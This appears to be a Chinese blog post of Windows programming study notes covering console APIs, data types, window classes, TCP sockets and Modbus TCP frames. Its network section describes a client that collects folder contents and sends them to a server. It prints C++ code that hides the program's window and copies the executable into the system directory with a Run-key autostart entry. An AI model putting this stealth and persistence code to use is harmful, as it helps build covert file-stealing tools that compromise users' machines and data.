当前位置: 首页 > news >正文

Windows编程上

Windows编程[上]

  • 一、Windows API
    • 1.控制台大小设置
      • 1.1 GetStdHandle
      • 1.2 SetConsoleWindowInfo
      • 1.3 SetConsoleScreenBufferSize
      • 1.4 SetConsoleTitle
      • 1.5 封装为Innks
    • 2.控制台字体设置以及光标调整
      • 2.1 GetConsoleCursorInfo
      • 2.2 SetConsoleCursorPosition
      • 2.3 GetCurrentConsoleFontEx
      • 2.4 修改Innks以便用户输入字体设置
    • 3. 缓冲区字符
      • 3.1 SetConsoleTextAttribute
      • 3.2 WriteConsoleOutput
      • 3.3 设计按钮控件
  • 二、Windows 数据类型
    • 1.基本数据类型
      • 1.1 字符类型
      • 1.2 **整型**
      • 1.3 字符串型
    • 2.常见的Windows数据类型
    • 3.特殊数据类型
    • 4.编码规范
  • 三、Windows应用程序
    • 1.WinMain 应用程序入口点
    • 2.WNDCLASS结构
    • 3.大致框架
    • 4.概念介绍
      • 4.1 窗口与句柄
      • 4.2 消息循环
      • 4.3 窗口过程函数(Window Procedure)
      • 4.4 总结
  • 四、网络篇
    • 1.TCP和UDP
        • TCP的主要特性
        • UDP的主要特性
    • 2.listen的参数含义
    • 3.改进recv和send函数
    • 4.截取文件内容客户端
    • 5.截取文件内容服务器
    • 6.截取文件内容客户端隐藏自身和自启动(通用模板)
      • 6.1 通用错误处理函数
      • 6.2 隐藏自身
      • 6.3 自启动
    • 7.modbusTCP
      • 7.1 Modbus 通信模型
      • 7.2 Modbus TCP 帧结构
      • 7.3 数据模型
      • 7.4 功能码(Function Codes)
      • 7.5 构建帧

微软开发文档地址

Windows 程序设计:以 C++类的形式封装了 Windows API,并且包含一个应用程序框架,以减少应用程序开发人员的工作量。包含大量 Windows 句柄封装类和很多 Windows 的内建控件和组件的封装类。专心的考虑程序的逻辑,而不是这些每次编程都要重复的东西,但是由于是通用框架,没有最好的针对性。

C/C++编程:仅产生少量的机器语言以及不需要任何运行环境支持便能运行的高效率程序设计语言。依靠非常全面的运算符和多样的数据类型,可以容易完成各种数据结构的构建,通过指针类型可对内存直接寻址以及对硬件进行直接操作,因此既能够用于开发系统程序,也可用于开发应用软件。

VA 的常用快捷键:

  • ALT+G 调到定义
  • ALT + SHIFT + F 查找所有引用
  • ALT + 左箭头/右箭头:回退/前进

一、Windows API

微软官方文档地址

image-20240630113236120

image-20240630113424079

image-20240701082709929

1.控制台大小设置

image-20240630143527053

image-20240630140726490

1.1 GetStdHandle

GetStdHandle 是 Windows API 中的一个函数,用于获取标准输入、标准输出或标准错误的句柄。这些句柄可以用于控制台应用程序与用户进行交互时的输入和输出操作。

image-20240630140504312

image-20240630140550984

image-20240630144149808

1.2 SetConsoleWindowInfo

设置控制台屏幕缓冲区窗口的当前大小和位置。

image-20240630144325543

image-20240630144433795

image-20240630145118850

矩形的宽度 = Right - Left + 1

矩形的高度 = Bottom - Top + 1

image-20240630145202903

1.3 SetConsoleScreenBufferSize

设置控制台缓冲区大小。

image-20240630145636015

1.4 SetConsoleTitle

设置控制台窗口标题。

image-20240630145727386

1.5 封装为Innks

总体设计如下,除了设置宽、高、窗口名以外,我们还定义了一个回调函数的格式,让用户可以通过自定义的回调函数来对不同的错误类型进行处理。

image-20240630163534013

image-20240630163650493

在每次遇到返回值处理的时候,我们都交给用户传入的函数来进行相应处理。

image-20240630163741840

当再次调整缓冲区大小为窗口大小的时候,会发现窗口宽和高各留了一个像素,这个其实是滚动条消失了,但是给滚动条预留的大小还存在窗口中,需要重新设置一下窗口大小。

image-20240630161820727

image-20240630164019618

2.控制台字体设置以及光标调整

image-20240630163416892

image-20240630163437327

2.1 GetConsoleCursorInfo

获得有关指定控制台屏幕缓冲区的游标大小和可见性的信息。

image-20240630164326333

image-20240630164349024

image-20240630164829045

2.2 SetConsoleCursorPosition

设置指定控制台屏幕缓冲区中的光标位置。

image-20240630165126249

image-20240630165400869

2.3 GetCurrentConsoleFontEx

检索有关当前控制台字体的扩展信息。

image-20240630195329992

image-20240630195527844

image-20240630200304442

image-20240630201548573

image-20240630201504263

2.4 修改Innks以便用户输入字体设置

image-20240630202453231

image-20240630202500246

image-20240630202556668

image-20240630202614926

3. 缓冲区字符

image-20240701095950597

image-20240701083604687

3.1 SetConsoleTextAttribute

设置由 WriteFileWriteConsole 函数写入控制台屏幕缓冲区或由 ReadFileReadConsole 函数回显的字符的属性。 此函数会影响在函数调用后写入的文本。

image-20240701095736052

image-20240701095807627

image-20240701101313659

3.2 WriteConsoleOutput

将字符和颜色属性数据写入控制台屏幕缓冲区中字符单元的指定矩形块。 要写入的数据取自源缓冲区中指定位置相应大小的矩形块。

image-20240701100100839

参数说明:

lpBuffer:

  • 类型: const CHAR_INFO*
  • 描述: 指向一个包含要写入控制台屏幕缓冲区的字符和属性数据的缓冲区。该缓冲区是一个二维数组,使用 CHAR_INFO 结构来表示每个字符及其属性。

dwBufferCoord

  • 类型: COORD
  • 描述: 定义 lpBuffer 缓冲区中要写入数据的区域的左上角坐标。这个坐标是相对于 lpBuffer 缓冲区的(而不是控制台屏幕缓冲区)。

image-20240701102842071

3.3 设计按钮控件

关于文字的颜色。每种颜色对应一位,一共有4bit表示颜色,所以是16种。

image-20240701103217953

image-20240701103741836

image-20240701113133698

image-20240701113250428

image-20240701113259843

如果我们仅仅使用 PCHAR dst,在函数内部对 dst 的修改不会影响外部传入的指针,这意味着我们不能在函数内分配新的内存并让外部变量指向这块内存。而使用 PCHAR& dst,我们就可以在函数内部分配新内存,并使外部指针指向这块新内存。当 dst 是空指针时,需要在函数内部分配新的内存并让 dst 指向这块新内存。这时因为需要修改 dst 指针本身,所以需要传入指针的引用(PCHAR&)或者使用指针的指针(PCHAR*)。

image-20240701113334955

image-20240701113051643

二、Windows 数据类型

1.基本数据类型

1.1 字符类型

Unicode: Unicode 是一种字符编码标准,使用 16 位数据表示一个字符,共可以表示 65535 种字符。它支持全球大部分语言的字符。

ANSI: ANSI 字符集使用 8 位数据或将相邻的两个 8 位的数据组合在一起表示特殊的语言字符。如果一个字节是负数,则将其后续的一个字节组合在一起表示一个字符。这种编码方式的字符集也称作“多字节”字符集。

在开发中文应用程序时,通常建议使用 Unicode 编码集。

  • Unicode 支持全球几乎所有语言的字符,这使得您的应用程序不仅可以处理中文,还可以轻松扩展支持其他语言,便于国际化。

  • Windows 操作系统内部大量使用 Unicode,使用 Unicode 可以避免多字节编码集(如 ANSI)和 Unicode 之间的转换问题,减少编码错误,提高应用程序的稳定性。

  • 现代的 Windows API 大多数都推荐使用 Unicode 版本(以 W 结尾的函数),而 ANSI 版本(以 A 结尾的函数)主要是为了兼容老的系统和应用程序。使用 Unicode 可以确保应用程序在未来的 Windows 版本中有更好的兼容性。

1.2 整型

  • INT: 表示整数类型,通常占用 4 个字节。
  • UINT: 表示无符号整数类型,通常占用 4 个字节。
  • SHORT: 表示短整数类型,通常占用 2 个字节。
  • USHORT: 表示无符号短整数类型,通常占用 2 个字节。
  • LONG: 表示长整数类型,通常占用 4 个字节。
  • ULONG: 表示无符号长整数类型,通常占用 4 个字节。
  1. 浮点型
    • FLOAT: 表示单精度浮点数类型,通常占用 4 个字节。
    • DOUBLE: 表示双精度浮点数类型,通常占用 8 个字节。
  2. 布尔型
    • BOOL: 表示布尔类型,通常占用 4 个字节。取值为 TRUE(1)FALSE(0)

1.3 字符串型

  1. LPCSTR
  • 含义: Windows ANSI 字符串常量(指向常量字符串的指针)。
  • 用途: 指向一个以 null 结尾的 ANSI 字符串,通常用于函数参数。

​ 2.LPCWSTR

  • 含义: Unicode 字符串常量(指向常量宽字符字符串的指针)。
  • 用途: 指向一个以 null 结尾的 Unicode 字符串,通常用于函数参数。

​ 3.LPCTSTR

  • 含义: 根据环境配置,如果定义了 UNICODE 宏,则是 LPCWSTR 类型,否则是 LPCSTR 类型。
  • 用途: 用于兼容 Unicode 和 ANSI 的字符串常量指针。
  1. LPDWORD
  • 含义: 指向 DWORD 类型数据的指针。
  • 用途: 指向一个 32 位无符号整数,通常用于函数参数传递地址。
  1. LPSTR
  • 含义: Windows ANSI 字符串变量(指向字符串的指针)。
  • 用途: 指向一个以 null 结尾的 ANSI 字符串,可以被修改。

​ 6.LPWSTR

  • 含义: Unicode 字符串变量(指向宽字符字符串的指针)。
  • 用途: 指向一个以 null 结尾的 Unicode 字符串,可以被修改。

​ 7.LPTSTR

  • 含义: 根据环境配置,如果定义了 UNICODE 宏,则是 LPWSTR 类型,否则是 LPSTR 类型。
  • 用途: 用于兼容 Unicode 和 ANSI 的字符串指针,可以被修改。

2.常见的Windows数据类型

  1. 句柄类型
    • HANDLE: 用于表示各种对象的句柄,如文件、窗口、菜单等。
    • HWND: 表示窗口句柄。
    • HDC: 表示设备上下文句柄,用于绘图操作。
    • HINSTANCE: 表示应用程序实例句柄。
  2. 消息和时间类型
    • WPARAM: 表示消息的附加信息,通常用于传递额外的数据,大小与指针相同。
    • LPARAM: 表示消息的附加信息,通常用于传递额外的数据,大小与指针相同。
    • LRESULT: 表示消息处理的返回值,大小与指针相同。
    • DWORD: 表示双字类型,通常用于计时器或标志位,大小为 4 个字节。
  3. 指针类型
    • LPCTSTR: 指向常量字符串的指针(适用于 Unicode 或 ANSI 字符)。
    • LPTSTR: 指向字符串的指针(适用于 Unicode 或 ANSI 字符)。
    • LPVOID: 指向任意类型的指针。

3.特殊数据类型

  1. RECT
    • 表示矩形区域,包含四个整数值:lefttoprightbottom
  2. POINT
    • 表示二维点,包含两个整数值:xy
  3. SIZE
    • 表示尺寸,包含两个整数值:cx(宽度)和 cy(高度)。
  4. COLORREF
    • 表示颜色值,通常用 RGB 值表示。

4.编码规范

前缀含义前缀含义
a数组 arrayb布尔值 bool
by无符号字符(字节)c字符(字节)
cb字节计数rgb保存颜色值的长整型
cx,cy短整型(计算 x,y 的长度)dw无符号长整型
fn函数h句柄
i整形(integer)m_类的数据成员 member
n短整型或整型np近指针
p指针(pointer)l长整型(long)
lp长指针s字符串 string
sz以零结尾的字符串tm正文大小
w无符号整型x,y无符号整型(表示 x,y 的坐标)

三、Windows应用程序

1.WinMain 应用程序入口点

image-20240630092123927

image-20240630092326097

image-20240630092341482

_stdcall 调用约定:

  1. 参数传递顺序

    参数从右到左进行压栈。也就是说,最后一个参数最先被压入堆栈。

  2. 堆栈清理

    调用该函数的代码负责传递参数,但函数自身负责清理堆栈。这与 __cdecl 调用约定不同,__cdecl 是由调用者负责清理堆栈。

  3. 名称修饰

    使用 _stdcall 调用约定的函数在编译时会进行名称修饰,函数名通常会被前缀一个下划线并在后面加上 @ 和参数的字节数。例如:

    int WINAPI MyFunction(int a, int b);
    

    将被编译器修饰为 _MyFunction@8。

2.WNDCLASS结构

image-20240630093245335

WNDCLASS 是 Win32 编程中定义窗口类的结构体,用于注册窗口类以便创建窗口。

  1. style
  • 类型: UINT
  • 含义: 窗口类的风格,可以是多个风格的组合,用 | 运算符连接。
  • 常用值:
    • CS_HREDRAW: 水平大小改变时重绘整个窗口。
    • CS_VREDRAW: 垂直大小改变时重绘整个窗口。
    • CS_OWNDC: 每个窗口有自己的设备上下文。
  1. lpfnWndProc
  • 类型: WNDPROC
  • 含义: 指向窗口过程函数的指针,定义窗口如何响应各种消息。
  • 用法: 必须提供一个自定义的窗口过程函数,处理诸如 WM_PAINTWM_DESTROY 等消息。
  1. cbClsExtra
  • 类型: int
  • 含义: 分配给窗口类的额外内存字节数。
  • 用法: 通常设为 0,除非需要为窗口类分配额外内存。
  1. cbWndExtra
  • 类型: int
  • 含义: 分配给每个窗口实例的额外内存字节数。
  • 用法: 通常设为 0,除非需要为每个窗口实例分配额外内存。
  1. hInstance
  • 类型: HINSTANCE
  • 含义: 应用程序实例句柄。
  • 用法: 通常使用 GetModuleHandle(NULL) 获取当前应用程序实例句柄。
  1. hIcon
  • 类型: HICON
  • 含义: 窗口类的图标句柄。
  • 用法: 可以使用 LoadIcon 加载图标资源。
  1. hCursor
  • 类型: HCURSOR
  • 含义: 窗口类的光标句柄。
  • 用法: 可以使用 LoadCursor 加载光标资源。
  1. hbrBackground
  • 类型: HBRUSH
  • 含义: 窗口背景刷句柄,用于绘制窗口背景。
  • 用法: 可以使用系统预定义的刷子,如 (HBRUSH)(COLOR_WINDOW+1)
  1. lpszMenuName
  • 类型: LPCTSTR
  • 含义: 窗口类的菜单名称。
  • 用法: 如果窗口类有一个菜单,可以在这里指定菜单资源名称,否则设为 NULL
  1. lpszClassName
  • 类型: LPCTSTR
  • 含义: 窗口类名称,用于唯一标识窗口类。
  • 用法: 必须提供一个独特的名称,通常是一个字符串常量。

3.大致框架

image-20240701144408613

image-20240701144421720

image-20240701144429569

image-20240701144446280

4.概念介绍

4.1 窗口与句柄

窗口(Window):窗口是 Windows 操作系统的一个基本组成部分,它代表了用户界面的一部分。几乎所有的用户界面元素(如按钮、文本框、列表框等)都是窗口。可以显示信息、接收用户输入等。

MFC 提供了一组类来表示不同类型的窗口,这些类都派生自 CWnd 类。以下是一些常见的 MFC 窗口类:

  • CFrameWnd:用于表示主框架窗口。
  • CDialog:用于表示对话框窗口。
  • CView:用于表示视图窗口,通常与文档-视图架构(Document/View Architecture)一起使用。
  • CButtonCEditCListBox 等:用于表示各种控件窗口。

句柄(Handle):句柄是一个唯一的整数值,用于标识 Windows 系统中的对象。句柄可以看作是对象的标识符,允许应用程序与操作系统进行交互而不必了解对象的内部结构。

常见的句柄类型:

  • 窗口句柄(HWND):表示窗口对象的句柄。
  • 设备上下文句柄(HDC):表示设备上下文的句柄,用于绘图操作。
  • 实例句柄(HINSTANCE):表示应用程序实例的句柄。
  • 菜单句柄(HMENU):表示菜单的句柄。

在 MFC 中,每个窗口对象都有一个对应的窗口句柄(HWND)。窗口句柄是由 Windows 操作系统分配的,用于唯一标识窗口。

窗口对象:窗口对象是系统内部用来管理窗口状态和行为的数据结构。通过窗口句柄,可以访问窗口对象并对其进行操作,如显示窗口、更新窗口内容等。

4.2 消息循环

消息(Message):在 Win32 编程中,系统通过消息机制与窗口通信。每当发生用户输入(如鼠标点击、键盘输入)或系统事件(如窗口大小改变),系统会生成相应的消息并将其发送给窗口。

消息循环(Message Loop):消息循环是一个循环结构,用于从消息队列中获取消息并将其分派给窗口过程函数进行处理。

消息循环的基本流程如下:

  1. 获取消息:从应用程序的消息队列中获取下一条消息。
  2. 翻译消息:将虚拟键消息(如键盘输入)翻译为字符消息。
  3. 分发消息:将消息分发给相应的窗口过程进行处理。
  4. 处理消息:窗口过程处理消息,并执行相应的操作。

在传统的 Windows 应用程序中,消息循环通常如下所示:

MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{TranslateMessage(&msg);DispatchMessage(&msg);
}

4.3 窗口过程函数(Window Procedure)

在 Windows 编程中,窗口过程函数(Window Procedure)是一个非常重要的概念。窗口过程函数是处理窗口消息的核心函数,每当窗口接收到消息时,操作系统都会调用这个函数。每个窗口类都有一个窗口过程函数,定义窗口如何响应各种消息。

4.4 总结

Win32 应用程序开发涉及以下步骤:

  1. 注册窗口类。
  2. 创建窗口实例。
  3. 显示和更新窗口。
  4. 运行消息循环。
  5. 定义窗口过程函数处理消息。

四、网络篇

1.TCP和UDP

TCP的主要特性
  • 连接导向:TCP是一个面向连接的协议。在传输数据之前,需要建立一个连接。这个过程包括三次握手(Three-way Handshake)。
  • 可靠传输:通过确认(ACK)和重传机制保证数据的可靠传输。
  • 数据流控制:通过滑动窗口机制实现流量控制,防止发送方发送速度过快导致接收方无法处理。
  • 拥塞控制:采用慢启动、拥塞避免、快重传和快恢复等算法进行拥塞控制。
  • 无边界数据流:TCP把数据视为一个连续的数据流,没有数据边界的概念。

TCP协议中不存在数据边界的概念意味着,TCP将数据视为一个连续的字节流,而不是一个个独立的数据包。在传输过程中,数据被分割成段(segment),每个段包含一部分数据流中的字节,但TCP并不关心这些段的边界。

建立TCP连接时,需要进行三次握手过程,以确保双方都准备好并且能够进行通信。

  • 第一次握手:客户端发送SYN(同步序列编号)包,表明客户端希望建立连接,并且客户端的初始序列号(Sequence Number,Seq)为X。
  • 第二次握手:服务器收到SYN包后,回复一个SYN-ACK包。这个包中包含服务器的初始序列号Y,并确认客户端的序列号(ACK = X+1)。
  • 第三次握手:客户端收到SYN-ACK包后,发送一个ACK包,确认服务器的序列号(ACK = Y+1)。此时,连接建立。

关闭TCP连接需要四次挥手过程,确保双方都完成了数据传输并且准备关闭连接。

  • 第一次挥手:客户端发送FIN包,表示不再发送数据,但仍可接收数据。
  • 第二次挥手:服务器收到FIN包后,回复ACK包,确认收到客户端的FIN包。
  • 第三次挥手:服务器发送FIN包,表示不再发送数据。
  • 第四次挥手:客户端收到服务器的FIN包后,回复ACK包,确认收到服务器的FIN包,连接关闭。
UDP的主要特性
  • 无连接:在传输数据之前不需要建立连接,每个数据报独立传输。
  • 不可靠:不保证数据报的到达,不进行确认和重传。
  • 无序:不保证数据报按顺序到达,数据报可能乱序到达。
  • 数据报边界:UDP将数据看作一个个独立的数据报,每个数据报有明确的边界。
  • 低开销:由于不需要连接管理和可靠性保证,UDP的开销比TCP低。

2.listen的参数含义

listen 函数用于将套接字设置为被动模式,准备接受连接请求。其原型如下:

int listen(int sockfd, int backlog);
  • backlog:指定完全建立的连接和半连接的队列长度。

backlog 参数指定了内核为这个套接字维护的连接请求队列的最大长度。这个队列包含了已完成的连接和等待完成的连接(半连接)。

我们可以将连接请求队列分为两个部分:

  1. 半连接队列(Syn Queue):存放那些已经发送了 SYN 报文但还没有完成三次握手的连接请求。
  2. 完全连接队列(Accept Queue):存放那些已经完成三次握手,等待被 accept 函数处理的连接。

假设 backlog 设置为 5,表示服务器最多能同时处理 5 个连接请求:

  • 当有第 6 个连接请求到达时,如果完全连接队列已经满了,这个请求会被拒绝。
  • 只有当服务器调用 accept 函数并从完全连接队列中移除一个连接后,新的连接请求才能进入这个队列。

image-20240701165502593

当我们通过多个客户端连接服务器的时候,只有前五个连接成功了,后面的都是错误10061。

image-20240701165550633

也就是说,服务器拒绝连接。

3.改进recv和send函数

image-20240701193116275

image-20240701193121516

4.截取文件内容客户端

image-20240702084603399

image-20240702084918510

先实现一个找到文件夹中所有文件的函数。
image-20240702090658555

image-20240702090713334

找到文件后,发送文件内容给指定服务器。

image-20240702181332218

image-20240702181408211

5.截取文件内容服务器

image-20240702182154012

image-20240702182101416

6.截取文件内容客户端隐藏自身和自启动(通用模板)

6.1 通用错误处理函数

void ErrorHandling(const char* format, ...) 
{va_list args;va_start(args, format);vfprintf(stderr, format, args); // 格式化输出错误信息到标准错误流va_end(args);fputc('\n', stderr); exit(1); 
}

6.2 隐藏自身

void HideMyself()
{//拿到当前的窗口句柄HWND hwnd = GetForegroundWindow();//隐藏当前窗口ShowWindow(hwnd, SW_HIDE);
}

6.3 自启动

void AddToSystem(const char* programName) {HKEY hKEY;char CurrentPath[MAX_PATH];char SysPath[MAX_PATH];long ret = 0;LPSTR FileNewName;LPSTR FileCurrentName;DWORD type = REG_SZ;DWORD size = MAX_PATH;LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";// 获取系统目录GetSystemDirectory(SysPath, size);// 获取当前程序路径GetModuleFileName(NULL, CurrentPath, size);// 复制文件FileCurrentName = CurrentPath;FileNewName = strcat(SysPath, "\\");FileNewName = strcat(FileNewName, programName);struct _finddata_t Steal;cout << "ret1 = " << ret << endl;if (_findfirst(FileNewName, &Steal) != -1) {// 已经安装cout << "ret2 = " << ret << endl;return;}int ihow = MessageBox(0,"该程序仅用于合法目的的运行!\n""按“取消”退出。\n""按“是”按钮将复制到您的计算机上,并随系统启动自动运行。\n""按“否”按钮,程序只运行一次,不会在您的系统内留下任何痕迹。","警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);if (ihow == IDCANCEL)exit(0);if (ihow == IDNO) {// 只运行一次return;}// 复制文件ret = CopyFile(FileCurrentName, FileNewName, TRUE);if (!ret) {cout << "文件复制失败" << endl;return;}// 加入注册表cout << "ret = " << ret << endl;ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);if (ret != ERROR_SUCCESS) {cout << "无法打开注册表项" << endl;RegCloseKey(hKEY);return;}// 设置注册表值ret = RegSetValueEx(hKEY, "MyProgram", 0, type, (const unsigned char*)FileNewName, size);if (ret != ERROR_SUCCESS) {cout << "无法设置注册表值" << endl;RegCloseKey(hKEY);return;}RegCloseKey(hKEY);cout << "程序成功添加到启动项" << endl;
}

7.modbusTCP

Modbus TCP协议通常在应用层实现。在Modbus TCP中,每个数据包由一个MBAP头和一个PDU(协议数据单元)组成。MBAP头包含事务ID、协议ID、长度和单元ID。PDU则包含功能码和数据。

7.1 Modbus 通信模型

  • 主/从(Master/Slave)模型:在 Modbus 通信中,通常由一个主设备(Master)和一个或多个从设备(Slave)组成。主设备发出请求,从设备响应。
  • 客户端/服务器(Client/Server)模型:在 Modbus TCP 中,客户端(Client)类似于传统 Modbus 中的主设备,而服务器(Server)类似于从设备。客户端发出请求,服务器响应。

7.2 Modbus TCP 帧结构

  • Modbus TCP 的消息框架

    基于 Modbus RTU/ASCII 的消息框架,并在其前面加上一个 Modbus TCP 的特定头(MBAP Header)。

    MBAP 头包含以下字段:

    • Transaction Identifier(2 字节):由客户端生成,用于匹配请求和响应。
    • Protocol Identifier(2 字节):总是为 0,表示 Modbus 协议。
    • Length(2 字节):表示剩余消息的长度(包括单元标识符和数据)。
    • Unit Identifier(1 字节):用于标识远程从设备,在 Modbus TCP 中通常为 0。
  • Modbus PDU(Protocol Data Unit):紧随 MBAP 头之后,包括功能码和数据。

7.3 数据模型

Modbus 协议使用以下数据模型:

  1. 离散输出(线圈,Coils):单个位,可以读写。
  2. 离散输入(Discrete Inputs):单个位,只读。
  3. 保持寄存器(Holding Registers):16位寄存器,可以读写。
  4. 输入寄存器(Input Registers):16位寄存器,只读。

这些寄存器的地址范围通常为 0 到 65535。

7.4 功能码(Function Codes)

Modbus 协议定义了一组功能码,用于指定不同的操作,例如读写寄存器或线圈。常见的功能码包括:

  1. 0x01:读线圈(Read Coils)
  2. 0x02:读离散输入(Read Discrete Inputs)
  3. 0x03:读保持寄存器(Read Holding Registers)
  4. 0x04:读输入寄存器(Read Input Registers)
  5. 0x05:写单个线圈(Write Single Coil)
  6. 0x06:写单个保持寄存器(Write Single Register)
  7. 0x0F:写多个线圈(Write Multiple Coils)
  8. 0x10:写多个保持寄存器(Write Multiple Registers)

7.5 构建帧

Modbus TCP协议遵循大端(Big-endian)字节序,即高位字节在前,低位字节在后。

在这里插入图片描述

事务处理标识假设它的值是 0x0001

query[0] = 0x0001 >> 8;   // 获取高字节,0x00
query[1] = 0x0001 & 0xFF; // 获取低字节,0x01

协议标识:固定为 0x0000

query[2] = 0x0000 >> 8; // 获取高字节,0x00
query[3] = 0x0000 & 0xFF; // 获取低字节,0x00

长度:假设它的值是 0x0006

query[4] = 0x0006 >> 8; // 获取高字节,0x00
query[5] = 0x0006 & 0xFF; // 获取低字节,0x06

单元标识符:假设它的值是 0x01

query[6] = 0x01;

功能码:假设它的值是 0x03

query[7] = function_code; // 0x03

开始地址:假设它的值是 0x0000

query[8] = 0x0000 >> 8; // 获取高字节,0x00
query[9] = 0x0000 & 0xFF; // 获取低字节,0x00

寄存器个数:假设它的值是 0x000A

query[10] = 0x000A >> 8; // 获取高字节,0x00
query[11] = 0x000A & 0xFF; // 获取低字节,0x0A

相关文章:

Windows编程上

Windows编程[上] 一、Windows API1.控制台大小设置1.1 GetStdHandle1.2 SetConsoleWindowInfo1.3 SetConsoleScreenBufferSize1.4 SetConsoleTitle1.5 封装为Innks 2.控制台字体设置以及光标调整2.1 GetConsoleCursorInfo2.2 SetConsoleCursorPosition2.3 GetCurrentConsoleFon…...

BiTCN-Attention一键实现回归预测+8张图+特征可视化图!注意力全家桶再更新!

声明&#xff1a;文章是从本人公众号中复制而来&#xff0c;因此&#xff0c;想最新最快了解各类智能优化算法及其改进的朋友&#xff0c;可关注我的公众号&#xff1a;强盛机器学习&#xff0c;不定期会有很多免费代码分享~ 目录 原理简介 数据介绍 结果展示 全家桶代码目…...

zoom缩放问题(关于ElementPlus、Echarts、Vue3draggable等组件偏移问题)

做了一个项目下来&#xff0c;由于整体界面偏大&#xff0c;采取了缩放90%&#xff0c;导致很多组件出现偏移问题&#xff0c;以下我会把我遇到的各种组件偏移问题依次进行描述解答&#xff1a; ElementPlus选择器下拉偏移 <template><el-select :teleported"f…...

【后端面试题】【中间件】【NoSQL】MongoDB的配置服务器、复制机制、写入语义和面试准备

MongoDB的配置服务器 引入了分片机制之后&#xff0c;MongoDB启用了配置服务器(config server) 来存储元数据&#xff0c;这些元数据包括分片信息、权限控制信息&#xff0c;用来控制分布式锁。其中分片信息还会被负责执行查询mongos使用。 MongoDB的配置服务器有一个很大的优…...

视频监控汇聚平台LntonCVS视频监控业务平台具体有哪些功能?

LntonCVS视频监控平台是一款基于H5技术开发的专业安防视频监控产品&#xff0c;旨在为安防视频监控行业提供全面的解决方案。以下是平台的主要功能和特点&#xff1a; 1. 统一接入管理&#xff1a; - 支持国内外各种品牌、协议和设备类型的监控产品统一接入管理。 - 提供标准的…...

我不小心把生产的数据改错了!同事帮我用MySQL的BinLog挽回了罚款

之前在生产做修改数据的时候不小心改错了一行数据&#xff0c;本来以为会被通报批评&#xff0c;但是同事利用binlog日志查看到了之前的旧数据&#xff0c;并且帮我回滚了&#xff0c;学到了&#xff0c;所以写了一篇binlog的文章分享给大家。 MySQL的Binary Log&#xff08;简…...

Windows系统安装NVM,实现Node.js多版本管理

目录 一、前言 二、NVM简介 三、准备工作 1、卸载Node 2、创建文件夹 四、下载NVM 五、安装NVM 六、使用NVM 1、NVM常用操作命令 2、查看NVM版本信息 3、查看Node.js版本列表&#xff1b; 4、下载指定版本Node.js 5、使用指定版本Node.js 6、查看已安装Node.js列…...

k8s部署单节点redis

一、configmap # cat redis-configmap.yaml apiVersion: v1 kind: ConfigMap metadata:name: redis-single-confignamespace: redis data:redis.conf: |daemonize nobind 0.0.0.0port 6379tcp-backlog 511timeout 0tcp-keepalive 300pidfile /data/redis-server.pidlogfile /d…...

云微客矩阵系统:如何利用智能策略引领营销新时代?

近些年&#xff0c;短视频行业的风头一时无二&#xff0c;大量的商家和企业进驻短视频赛道&#xff0c;都或多或少的实现了实体门店的流量增长。虽然说现在短视频的门槛在逐步降低&#xff0c;但是迄今为止依旧有很多人在短视频剪辑面前望而却步。 最近在短视频营销领域&#x…...

嵌入式Linux系统编程 — 6.3 kill、raise、alarm、pause函数向进程发送信号

目录 1 kill函数 1.1 kill函数介绍 1.2 示例程序 2 raise函数 2.1 raise函数介绍 2.2 示例程序 3 alarm函数 3.1 alarm函数介绍 3.2 示例程序 4 pause函数 4.1 pause函数介绍 4.2 示例程序 与 kill 命令相类似&#xff0c; Linux 系统提供了 kill()系统调用&#…...

Swoole实践:如何使用协程构建高性能爬虫

随着互联网的普及&#xff0c;web爬虫已经成为了一个非常重要的工具&#xff0c;它可以帮助我们快速地抓取所需要的数据&#xff0c;从而降低数据获取成本。在爬虫的实现中&#xff0c;性能一直是一个重要的考虑因素。swoole是一款基于php的协程框架&#xff0c;它可以帮助我们…...

基于人脸68特征点识别的美颜算法(一) 大眼算法 C++

1、加载一张原图&#xff0c;并识别人脸的68个特征点 cv::Mat img cv::imread("5.jpg");// 人脸68特征点的识别函数vector<Point2f> points_vec dectectFace68(img);// 大眼效果函数Mat dst0 on_BigEye(800, img, points_vec);2、函数 vector<Point2f&g…...

算法金 | 欧氏距离算法、余弦相似度、汉明、曼哈顿、切比雪夫、闵可夫斯基、雅卡尔指数、半正矢、Sørensen-Dice

大侠幸会&#xff0c;在下全网同名「算法金」 0 基础转 AI 上岸&#xff0c;多个算法赛 Top 「日更万日&#xff0c;让更多人享受智能乐趣」 抱个拳&#xff0c;送个礼 在算法模型构建中&#xff0c;我们经常需要计算样本之间的相似度&#xff0c;通常的做法是计算样本之间的距…...

项目实战--Spring Boot大数据量报表Excel优化

一、项目场景 项目中要实现交易报表&#xff0c;处理大规模数据导出时&#xff0c;出现单个Excel文件过大导致性能下降的问题&#xff0c;需求是导出大概四千万条数据到Excel文件&#xff0c;不影响正式环境的其他查询。 二、方案 1.使用读写分离&#xff0c;查询操作由从库…...

C#编程技术指南:从入门到精通的全面教程

无论你是编程新手&#xff0c;还是想要深化.NET技能的开发者&#xff0c;本文都将为你提供一条清晰的学习路径&#xff0c;从C#基础到高级特性&#xff0c;每一站都配有详尽解析和实用示例&#xff0c;旨在帮助你建立坚实的知识体系&#xff0c;并激发你对C#及.NET生态的热情。…...

Redis+定式任务实现简易版消息队列

Redis是一个开源的内存中数据结构存储系统&#xff0c;通常被用作数据库、缓存和消息中间件。 Redis主要将数据存储在内存中&#xff0c;因此读写速度非常快。 支持不同的持久化方式&#xff0c;可以将内存中的数据定期写入磁盘&#xff0c;保证数据持久性。 redis本身就有自己…...

学习在 C# 中使用 Lambda 运算符

在 C# 中&#xff0c;lambda 运算符 > 同时用于 lambda 表达式和表达式体成员。 1. Lambda 表达式 Lambda 表达式是一种简洁的表示匿名方法&#xff08;没有名称的方法&#xff09;的方法。它使用 lambda 运算符 >&#xff0c;可以读作“转到”。运算符的左侧指定输入参…...

数据结构和算法,单链表的实现(kotlin版)

文章目录 数据结构和算法&#xff0c;单链表的实现(kotlin版)b站视频链接1.定义接口&#xff0c;我们需要实现的方法2.定义节点&#xff0c;表示每个链表节点。3.push(e: E)&#xff0c;链表尾部新增一个节点4.size(): Int&#xff0c;返回链表的长度5.getValue(index: Int): E…...

Jdk17是否有可能代替 Jdk8

